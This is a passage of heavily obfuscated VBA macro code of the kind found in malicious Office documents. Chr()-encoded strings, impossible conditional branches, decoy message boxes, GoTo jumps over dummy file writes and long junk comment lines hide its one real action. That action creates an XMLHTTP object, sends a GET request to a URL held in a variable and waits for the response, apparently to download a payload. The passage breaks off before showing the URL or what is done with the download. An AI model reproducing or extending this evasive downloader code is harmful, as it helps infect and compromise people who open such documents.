If Len(Chr(98) & Chr(110) & Chr(104) & Chr(107) & Chr(110) & Chr(105) & Chr(117) & Chr(104) & Chr(53) & Chr(50) & Chr(54) & Chr(50)) = Len(Chr(105) & Chr(103) & Chr(99) & Chr(102) & Chr(99) & Chr(98) & Chr(108) & Chr(103)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #29
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 836356 = 836356 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3964 < 85 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(102) & Chr(104) & Chr(118) & Chr(112) & Chr(110) & Chr(120) & Chr(112) & Chr(104) & Chr(57) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(98) & Chr(98) & Chr(107) & Chr(122) & Chr(121) & Chr(110) & Chr(98) & Chr(54) & Chr(50) & Chr(51) & Chr(55)) = Len(Chr(121) & Chr(114) & Chr(101) & Chr(114) & Chr(112) & Chr(114) & Chr(98) & Chr(116)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
hsgzhsmu:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 822118 = 822118 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2276 < 15 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(106) & Chr(120) & Chr(116) & Chr(114) & Chr(100) & Chr(109) & Chr(104) & Chr(118) & Chr(51) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(118) & Chr(115) & Chr(111) & Chr(101) & Chr(120) & Chr(100) & Chr(115) & Chr(106) & Chr(51) & Chr(49) & Chr(51) & Chr(54)) = Len(Chr(108) & Chr(116) & Chr(105) & Chr(111) & Chr(103) & Chr(108) & Chr(110) & Chr(116)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Set ocpvmgeelcx = CreateObject(Chr(109) & Chr(115) & Chr(120) & Chr(109) & Chr(108) & Chr(50) & Chr(46) & Chr(120) & Chr(109) & Chr(108) & Chr(104) & Chr(116) & Chr(116) & Chr(112))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    ocpvmgeelcx.Open Chr(71) & Chr(69) & Chr(84), ejckdfuqggu, False
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo fkgnbngl
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim lfxwswys As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(83) & Chr(84) & Chr(90) & Chr(87) & Chr(78) & Chr(73) & Chr(46) & Chr(83) & Chr(90) & Chr(69) For Binary As 37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 557928 = 557928 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3963 < 85 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(119) & Chr(98) & Chr(101) & Chr(102) & Chr(116) & Chr(111) & Chr(110) & Chr(103) & Chr(52) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(98) & Chr(110) & Chr(102) & Chr(106) & Chr(98) & Chr(114) & Chr(116) & Chr(54) & Chr(50) & Chr(51) & Chr(54)) = Len(Chr(121) & Chr(101) & Chr(101) & Chr(110) & Chr(110) & Chr(99) & Chr(114) & Chr(115)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #37, , lfxwswys
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 347236 = 347236 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3113 < 34 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(122) & Chr(100) & Chr(120) & Chr(106) & Chr(122) & Chr(101) & Chr(101) & Chr(103) & Chr(55) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(105) & Chr(122) & Chr(110) & Chr(103) & Chr(113) & Chr(99) & Chr(98) & Chr(117) & Chr(52) & Chr(56) & Chr(54) & Chr(52)) = Len(Chr(101) & Chr(120) & Chr(118) & Chr(109) & Chr(114) & Chr(122) & Chr(100) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 979162 = 979162 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3491 < 99 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(108) & Chr(102) & Chr(103) & Chr(120) & Chr(102) & Chr(103) & Chr(103) & Chr(116) & Chr(56) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(98) & Chr(104) & Chr(114) & Chr(104) & Chr(118) & Chr(114) & Chr(102) & Chr(52) & Chr(51) & Chr(52) & Chr(50)) = Len(Chr(113) & Chr(122) & Chr(108) & Chr(106) & Chr(99) & Chr(120) & Chr(114) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
fkgnbngl:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 634598 = 634598 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7877 < 96 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(109) & Chr(116) & Chr(114) & Chr(112) & Chr(108) & Chr(103) & Chr(110) & Chr(104) & Chr(49) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(97) & Chr(119) & Chr(105) & Chr(111) & Chr(97) & Chr(117) & Chr(120) & Chr(111) & Chr(49) & Chr(49) & Chr(52) & Chr(49)) = Len(Chr(120) & Chr(102) & Chr(117) & Chr(102) & Chr(109) & Chr(100) & Chr(111) & Chr(120)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    ocpvmgeelcx.send
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Do While ocpvmgeelcx.readystate <> 4
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo uqwnmpen
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim dyemutmj As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(79) & Chr(65) & Chr(84) & Chr(73) & Chr(67) & Chr(68) & Chr(46) & Chr(75) & Chr(76) & Chr(82) For Binary As 25
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 881643 = 881643 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 2516 < 71 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(111) & Chr(108) & Chr(109) & Chr(120) & Chr(113) & Chr(121) & Chr(103) & Chr(114) & Chr(56) & Chr(53))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(98) & Chr(114) & Chr(120) & Chr(101) & Chr(100) & Chr(103) & Chr(116) & Chr(100) & Chr(53) & Chr(55) & Chr(55) & Chr(57)) = Len(Chr(97) & Chr(117) & Chr(118) & Chr(106) & Chr(109) & Chr(102) & Chr(114) & Chr(108)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #25, , dyemutmj
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 272254 = 272254 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9561 < 89 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(100) & Chr(110) & Chr(101) & Chr(113) & Chr(108) & Chr(116) & Chr(101) & Chr(111) & Chr(55) & Chr(50))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(100) & Chr(116) & Chr(122) & Chr(122) & Chr(100) & Chr(116) & Chr(100) & Chr(105) & Chr(51) & Chr(56) & Chr(51) & Chr(52)) = Len(Chr(117) & Chr(118) & Chr(122) & Chr(121) & Chr(121) & Chr(113) & Chr(110) & Chr(119)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #25
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 148677 = 148677 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1384 < 68 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(119) & Chr(108) & Chr(121) & Chr(110) & Chr(121) & Chr(120) & Chr(120) & Chr(101) & Chr(50) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(102) & Chr(115) & Chr(106) & Chr(119) & Chr(118) & Chr(99) & Chr(114) & Chr(50) & Chr(49) & Chr(51) & Chr(52)) = Len(Chr(119) & Chr(108) & Chr(104) & Chr(101) & Chr(114) & Chr(120) & Chr(99) & Chr(113)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
uqwnmpen:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 819916 = 819916 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 5858 < 76 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(107) & Chr(102) & Chr(108) & Chr(98) & Chr(110) & Chr(100) & Chr(103) & Chr(106) & Chr(54) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(108) & Chr(108) & Chr(104) & Chr(109) & Chr(100) & Chr(98) & Chr(104) & Chr(57) & Chr(49) & Chr(50) & Chr(50)) = Len(Chr(100) & Chr(115) & Chr(106) & Chr(109) & Chr(102) & Chr(108) & Chr(100) & Chr(101)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    DoEvents
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo zgksahqs
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim ipnyfpee As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(89) & Chr(72) & Chr(74) & Chr(70) & Chr(70) & Chr(72) & Chr(46) & Chr(89) & Chr(68) & Chr(74) For Binary As 11
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 439317 = 439317 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1876 < 74 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(100) & Chr(108) & Chr(113) & Chr(117) & Chr(117) & Chr(113) & Chr(109) & Chr(111) & Chr(50) & Chr(53))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(108) & Chr(117) & Chr(121) & Chr(108) & Chr(97) & Chr(118) & Chr(98) & Chr(53) & Chr(49) & Chr(52) & Chr(57)) = Len(Chr(98) & Chr(120) & Chr(113) & Chr(108) & Chr(122) & Chr(98) & Chr(118) & Chr(121)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #11, , ipnyfpee
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 763678 = 763678 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8278 < 76 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(98) & Chr(99) & Chr(97) & Chr(107) & Chr(120) & Chr(97) & Chr(109) & Chr(105) & Chr(50) & Chr(49))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(117) & Chr(100) & Chr(116) & Chr(106) & Chr(116) & Chr(119) & Chr(106) & Chr(98) & Chr(57) & Chr(49) & Chr(50) & Chr(56)) = Len(Chr(97) & Chr(117) & Chr(114) & Chr(119) & Chr(118) & Chr(110) & Chr(114) & Chr(100)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #11
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 529126 = 529126 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 9982 < 55 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(100) & Chr(100) & Chr(118) & Chr(100) & Chr(116) & Chr(113) & Chr(102) & Chr(52) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(102) & Chr(120) & Chr(102) & Chr(121) & Chr(102) & Chr(102) & Chr(97) & Chr(120) & Chr(49) & Chr(55) & Chr(52) & Chr(50)) = Len(Chr(103) & Chr(97) & Chr(107) & Chr(108) & Chr(120) & Chr(115) & Chr(110) & Chr(122)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
zgksahqs:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 936638 = 936638 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1898 < 36 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(113) & Chr(101) & Chr(103) & Chr(103) & Chr(119) & Chr(121) & Chr(114) & Chr(103) & Chr(52) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(108) & Chr(108) & Chr(108) & Chr(102) & Chr(114) & Chr(98) & Chr(110) & Chr(117) & Chr(52) & Chr(49) & Chr(54) & Chr(50)) = Len(Chr(102) & Chr(115) & Chr(107) & Chr(108) & Chr(99) & Chr(114) & Chr(102) & Chr(109)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
